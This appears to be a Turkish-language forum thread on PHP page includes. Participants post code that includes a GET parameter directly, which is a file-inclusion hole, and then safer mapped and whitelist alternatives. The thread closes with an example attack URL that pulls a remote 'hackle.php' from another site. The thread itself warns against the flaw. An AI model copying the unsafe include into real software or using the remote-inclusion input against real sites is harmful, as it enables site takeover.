index.php?sayfa=deneme.htm

index.php?sayfa=deneme.htm

çok dehşet kafam karıştı nasıl yapıyoduk bunu?

include örneği yazabilecek varmı?

<?php include $_GET['sayfa']; ?>

<?php

$Sayfa = urldecode($_GET['sayfa']);
if( is_readable($Sayfa) )
{
  @include($Sayfa);
}
else
{
  echo "Aradığınız sayfa bulunamadı.";
}

?>

Fakat bir öneri, asla bu şekilde kullanmayın. Eğer mutlaka dosya include etmeniz gerekiyorsa, bunu adını GET metodu ile almayın. Aşağıdaki gibi bir örnek daha yararlı olur.

<?php

$Istek = $_GET['sayfa'];

/* Tanımlı sayfalar */
$Menu['deneme'] = "deneme.htm";
$Menu['diger'] = "baska-sayfa.htm";

if( is_readable($Menu[$Istek]) )
{
  @include($Menu[$Istek]);
}
else
{
  echo "Aradığınız sayfa bulunamadı.";
}

?>

Burada dosya.php?sayfa=deneme şeklinde yazdığınızda deneme.htm sayfasını, dosya.php?sayfa=diger yazdığınızda baska-sayfa.htm dosyasını ekleyecektir.

çok çok teşekkür ederim zabah beri uuraşiom yws

bu php karisikmis yav 1 ay icinde ustasi olmam lazim asp perl var ama php yok bende

yaw banada asp çok zor gelior ama tasarım konusunda asp daha rahat

Öneri verirken lütfen dikkat edelim , lamerlara gelin benim sitemi hackleyin diye davetiye çıkarıyor bu kod.

Bence beyaz liste yöntemi hem güvenli , hemde kullanışlı.

<?
$sayfalar = array("index","dosyalar","linkler","calismalar");
$sayfa = $_GET['sayfa'];
if(in_array($sayfa,$sayfalar))  {
    include("$sayfa.php");
} else {
    die("hatali giris");
}
?>

gibi..

ne gibi bir saldırı yapabilirlerki bu şekilde?

index.php?sayfa=http://www.baskasite.com/hackle.php
çöker bu şekilde onun için biraz zararlı